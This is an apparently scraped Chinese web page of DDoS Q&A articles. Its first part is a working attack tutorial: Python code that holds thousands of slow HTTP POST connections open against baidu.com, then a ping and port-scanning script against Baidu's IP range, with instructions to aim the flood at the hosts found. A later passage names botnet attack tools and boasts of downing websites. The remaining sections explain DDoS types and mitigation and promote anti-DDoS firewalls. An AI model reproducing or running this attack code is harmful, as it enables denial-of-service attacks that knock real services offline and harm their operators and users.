本文目录一览：
如何进行DDOS攻击怎么做
会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，粘贴即可
代码：
import socket
import time
import threading
#Pressure Test,ddos tool
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）
PAGE="/index.php"
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。
所以，最好用Windows里的PING进行检测
操作：
在Windows搜索栏里输入：cmd
输入：
ping -n 10 -l 1 baidu.com
//这里拿百度做示范，别真打百度！
那么，就会发现，系统反映了：
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
最短 = 26ms，最长 = 29ms，平均 = 27ms
说明，百度的服务器有一个主服务器是39.156.69.79
那么，就来查找百度的所有服务器吧！
输入以下代码：
#绝大多数成功的网络攻击都是以端口扫描开始的，在网络安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否
#开放了指定端口，进一步判断主机是否运行了某些重要的网络服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池，允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程，同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池，close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现，Python反映了：
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！
接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！
有没有有效的途径解决DDoS攻击？
DDoS代表分布式拒绝服务。因为它可能产生的巨大破坏性，对企业和组织构成了严重威胁。
DDoS攻击能做什么？
可使用看起来有效但不存在或充斥数据的网站的请求轰炸网站和服务器。DDoS攻击集中并自动尝试使目标网络超载，其中包含大量无用的请求。黑客通过以非常快速地向目标计算机系统发送一系列数据包来实现这一目标，直到它开始滞后或完全使对方宕机。
什么情况下会有人发起DDoS攻击？
DDoS攻击发起的原因有多种。长期以来，在线游戏行业一直是DDoS攻击的受害者。还有DDoS用于租用服务，攻击竞争对手的网站以试图降低它。当然也有其他的原因。
为什么发起DDoS攻击？
网络犯罪分子有时候会使用DDoS攻击作为伪装，以引起企业的注意力远离更重要的安全漏洞。DDoS被用作“烟雾弹”以掩饰其针对另一个漏洞发起攻击的目的。因此，在这样的攻击中，攻击者会在目标上发起多种看似不同的攻击。黑客已将其转变为复杂的转移攻击，以掩盖其他攻击。
大多数情况下，处理大量数据的金融服务公司容易受到此类攻击。最近，有人针对许多欧洲银行的IT管理员进行了网络钓鱼攻击。启动恶意软件以渗透银行系统并窃取其登录凭据。一旦犯罪分子访问登录详细信息，他们就会对银行发起DDoS攻击并让他们忙于处理DDoS攻击。
这不是网络犯罪分子发动DDoS攻击的唯一方式。家庭路由器，IP摄像机和其他受恶意软件感染的物联网设备也可能被用于发起DDoS攻击。攻击者已开始对Android设备做同样的事情。他们使用托管在Google Play和其他第三方应用商店中的恶意应用来实现此目的。
来自RiskIQ，Team Cymru，Cloudflare，Akamai和Flashpoint的安全团队进行了联合调查，发现一个由超过100个国家的100,000多个Android设备构建的大型僵尸网络。此次调查的起因是大量DDoS攻击袭击了一些内容传送网络和提供商。特定的Android僵尸网络（WireX）用于发送数以万计的HTTP请求。这些请求看似来自合法的浏览器，但其实并不是。
通常，启动此类攻击的目的是使服务器充斥着虚假的流量并使用其可用的互联网Android，RAM或CPU，以便他们无法再为用户提供请求。它背后可能还有其他一些动机。由于受感染的应用程序在安装期间请求设备管理员权限，因此即使这些应用程序本身未被主动使用或设备被锁定，它们也允许它们启动后台服务并参与DDoS攻击。
DDoS攻击受害者是谁？
DDoS是大规模攻击，他们的受害者大多是巨型企业组织，甚至是各州政府。但是，也有消费者级别的产品（潜伏在用户设备内），它可以很好地按照黑客设定好的去做一些其他的事情，但一般规模较小。间谍应用程序，包括Xnspy，TrackmyFone等，其中一些名称可以与远程类似移动黑客或移动间谍的一些东西产生共鸣。这些东西安装在手机上时可以允许第三人远程访问存储在设备上的所有内容。它不能与DDoS攻击相提并论，而是用于发起DDoS攻击的恶意软件。
DDoS攻击的类型
下面列出了DoS和DDoS攻击的主要形式：
基于Volume
基于Volume的攻击涉及发送到目标系统的大量请求。系统将这些请求视为有效（欺骗数据包）或无效请求（格式错误的数据包）。黑客为了压倒网络容量而进行这种攻击。
这些请求可以跨系统上的各种端口。黑客使用的方法之一是UDP放大攻击，其中它们向第三方服务器发送数据请求，然后他们将服务器的IP地址伪装成返回地址。然后，第三方服务器将大量数据发送到服务器作为响应。
这样，黑客只需要调度请求，但是受害者的服务器会受到来自第三方服务器的放大数据的攻击。在这种形式的攻击中，这种形式的攻击可能涉及数十，数百甚至数千个系统。
基于应用程序
在这种形式的攻击中，黑客利用Web服务器软件或应用程序软件中的漏洞导致Web服务器挂起或崩溃。常见类型的基于应用程序的攻击涉及将部分请求发送到服务器，用以尝试使服务器的整个数据库连接池忙，以便阻止合法请求。
基于协议
这些攻击针对服务器或负载平衡器，这些服务器或负载平衡器利用系统用于彼此通信的方法。数据包可能被设计为使服务器在常规握手协议（如SYN泛洪）期间等待不存在的响应。
预防DDoS攻击和缓解策略
购买更多带宽
为防止DDoS攻击并使您的基础设施DDoS抵抗，您必须采取的第一步是确保您有足够的带宽来处理可能由于恶意活动而导致的流量高峰。
过去可以通过确保您拥有更多带宽来避免DDoS攻击，但随着放大攻击的出现，这已不再实用。拥有更多带宽实际上提高了攻击者在启动成功的DDoS攻击之前必须克服的障碍。这是一种安全措施，但不是DDoS攻击解决方案。
针对DDoS攻击的网络硬件配置
一些非常简单的硬件配置更改可以帮助您防止DDoS攻击。例如，如果您将路由器或防火墙配置为从网络外部删除DNS响应或丢弃传入的ICMP数据包，这可以帮助您在一定程度上防止某些DNS和基于ping的容量攻击。
保护DNS服务器
攻击者可以通过攻击您的DNS服务器来使您的网站和Web服务器脱机。因此，请确保您的DNS服务器具有冗余。DNS就像是互联网的电话簿，它被用来匹配寻求具有正确IP地址的用户的网站名称，有超过3亿个域名，使全球数百万互联网用户保持联系。没有它，互联网就无法真正发挥作用。这就是为什么它是攻击者的关键目标。
对您的DNS基础架构的DDoS攻击可能导致您的应用程序或网站完全无法访问。因此，网络运营商需要充分保护其DNS基础设施，以保护其免受DDoS攻击。
除此之外，如果您不想让攻击者成功地针对您的服务器成功发起DDoS攻击，请将您的服务器分布在多个数据中心。您可以将这些数据中心设置在不同的国家/地区，或至少在同一个国家/地区的不同地区。
如果您希望此策略效果更好，则必须将所有数据中心连接到不同的网络，并且不存在网络瓶颈或这些网络上的单点故障。当您在地理位置和地理位置分布服务器时，攻击者很难成功攻击超过部分服务器。此外，它会使其他服务器不受影响，并使它们能够承受受影响的服务器正常处理之外的一些额外流量。
透明缓解
黑客可能会启动DDos以使您的使用者无法访问您的网站。当您的站点受到攻击时，您必须使用缓解技术使人们能够继续使用它而不会使其变的不可用，并且不会让他们看到启动屏幕和过时的缓存内容。一旦黑客发现您没有受到攻击影响并且您的用户仍然可以访问该网站，他可能会停止攻击。
Anti-DDoS硬件和软件模块
除了让您的服务器受到网络防火墙和其他专用Web应用程序防火墙的保护外，您还必须使用负载平衡器。您还可以将软件模块添加到另一个Web服务器软件以进行DDoS预防。例如，Apache 2.2.15附带了一个mod_reqtimeout，可以保护您免受像Slowloris这样的应用程序层攻击。它们通过发送部分请求来尽可能长时间地保持与Web服务器的连接，直到服务器无法接受任何新的连接请求为止。
您还可以使用带有软件保护的硬件模块来抵御DDoS协议攻击，例如SYN泛洪攻击。这可以通过监视存在多少不完整的连接来完成，然后您可以在数量达到可配置的阈值时刷新它们。
在DDoS攻击期间该做什么？
为了确保您的网站或应用程序可以承受在短时间内受到的攻击，您必须制定积极的缓解策略。以下是您可以遵循的行动方案：
在单独的信誉良好的主机提供商上拥有备份静态“暂时不可用”网站。确保他们提供自己的DDoS缓解服务。
将您的商店DNS重定向到临时站点，并与您的员工，利益相关者和合作伙伴一起确定如何处理易受攻击的服务器。
什么是DDoS流量攻击，主要的防御方式方法有哪些？
DDoS流量攻击全称：Distributed denial of service attack，中文翻译为分布式拒绝服务攻击，根据首字母简称为DDoS，因为DDoS流量攻击来势凶猛，持续不断，连绵不绝，因此在中国又叫洪水攻击。DDoS流量攻击是目前网络上最常见的手段，主要是公共分布式合理服务请求来昂被攻击者的服务器资源消耗殆尽，导致服务器服务提供正常的服务，这种方式说白了就是增大服务器的访问量，使其过载而导致服务器崩溃或者瘫痪。好比双十一期间大量的用户使用淘宝，使用的人数过多导致淘宝无法快速运转，并且出现页面瘫痪的情况。
DDoS流量攻击，可以分为，带宽消耗型和资源消耗型两种大的层次，从网络占用到目标硬件性能占用，以达到目标服务器网络瘫痪、系统崩溃的最终目的。下面为大家列举一些比较常用的DDoS流量攻击的方式。
死亡之PING：
死亡之PING即是ping of death，或者叫做死亡之平，也被翻译为死亡天平，这种攻击方式主要以通过TCP/IP协议进行DDoS流量攻击，这种类型的攻击方式主要是通过向服务器发送数据包片段大小超过TCP/IP协议的规定大小的数据包，让服务器系统无法正常进行处理从而导致崩溃，而这些数据包最大字节为6,5535字节。
CC攻击：
CC(Challenge Collapsar)，意为挑战黑洞，利用大量的肉鸡(免费代理服务器)向目标服务器发送大量看似合法的的请求，从而不断利用被攻击服务器的资源进行重来这边请求，让其资源不断被消耗，当服务器的资源被消耗殆尽用户就无法正常访问服务器获取服务器的响应，在cc攻击过程中，能够感觉到服务器的稳定性在不断的变差直至服务器瘫痪。应。
UDP洪水攻击：
UDP：用户数据包协议(User Datagram Protocol floods)，一种无连接协议，主要是通过信息交换过程中的握手原则来实现攻击，当通通过UDP发送数据时，三次的数据握手验证无法正常进行，导致大量数据包发送给目标系统时无法进行正常的握手验证，从而导致带宽被占满而无法让正常用户进行访问，导致服务器瘫痪或者崩溃。
而目前市场上常用来对付这些DDoS流量攻击的防护方式有以下几种：
目前常见的DDoS流量攻击防护是利用多重验证。入侵检测以及流量过滤等方式对因为攻击造成堵塞的带宽进行流量过滤让正常的流量能够正常的访问到目标服务器，从而维持服务器的正常运行。
流量清洗也就是让服务器所有的访问流量通过高防DDoS攻击流量清洗中心，通过高防的各种防护策略对正常流量和恶意流量被区分清洗过滤，将恶意流量阻挡住在服务器之外，让正常流量能够正常的访问，恶意流量则被禁止从而实现过滤。
防火墙是最常见DDoS流量攻击防护装置，防火墙的访问规则能够灵活定义，通过修改规则以实现允许或拒绝特定的通讯协议进入服务器，无论是端口还是IP地址，发现目标IP出现异常，那么直接阻断IP源的一切通信，即便是较为复杂的端口遭受到攻击，依旧能够有效的进行DDoS流量攻击防护。
锐速云告诉大家虽然近些年DDoS流量攻击呈现下降的趋势，但是不可否认目前仍是一个非常大的网络安全威胁，并且随着技术的发展，一些新型的DDoS流量攻击，仍在网络安全的战场上活跃着，如认为是一种Mirai变体的0x-booter。随着新的互联网技术和设备的变革和投入，不少黑客仍不断的更新完善DDoS流量攻击，因此在这个DDoS流量攻击防护的战场上，作为网络安全防护人员技术仍需要不断的更新变革。
DDOS攻击方法
1.CC攻击啊 分布式攻击即 僵尸攻击 需要客户端，跟肉鸡 软件有：中华攻客出品的 NB系列 傀儡僵尸系列 风云系列 等等，，，只要会黑站，挂马，扫肉 肉鸡大大的威力无比，瘫痪个站很容易~~ 早期ASP横行时候，只要一个CC基本上就可以秒掉N多站，，估计现在还能秒不少，，，
免费ddos防火墙有哪些
1.云盾抗DDoS防火墙是目前国内效率最高的软件抗DDO防火墙，其自主研发的独特抗攻击算法，高效的主动防御系统可有效防御DoS/DDoS、SuperDDoS、DrDoS、代理CC、变异CC、僵尸集群CC、UDPFlood、变异UDP、随机UDP、ICMP、IGMP、SYN、SYNFLOOD、ARP攻击，传奇假人攻击、论坛假人攻击、非TCP/IP协议层攻击、等多种未知攻击。各种常见的攻击行为均可有效识别，并通过集成的机制实时对这些攻击流量进行处理及阻断，具备远处网络监控和数据包分析功能，能够迅速获取、分析最新的攻击特征，防御最新的攻击手段。
同时，云盾DDoS防火墙又是一款服务器安全卫士，具有多种服务器入侵防护功能，防止黑客嗅探，入侵篡改，真正做到了外防内保，为您打造一台安全省心免维护的服务器。
2. 风云防火墙包括了两个版本，一个是个人版本，针对个人电脑使用的网络防火墙，该产品得到广大网友的一致好评；一个是服务器防火墙版本，针对网站服务器使用的抗攻击防入侵防火墙。该产品已经成为了广大站长不可缺少的安全防护软件。
3.安全狗也是一款比较知名的DDOS防火墙，其功能和操作界面更加简洁直观。悬浮式信息窗口显示CPU使用率、网络状态、实时流量统计、网络流量图、防火墙监控数据、拦截放行IP记录等重要数据，便于您随时了解服务器运行情况，掌握服务器最新动态。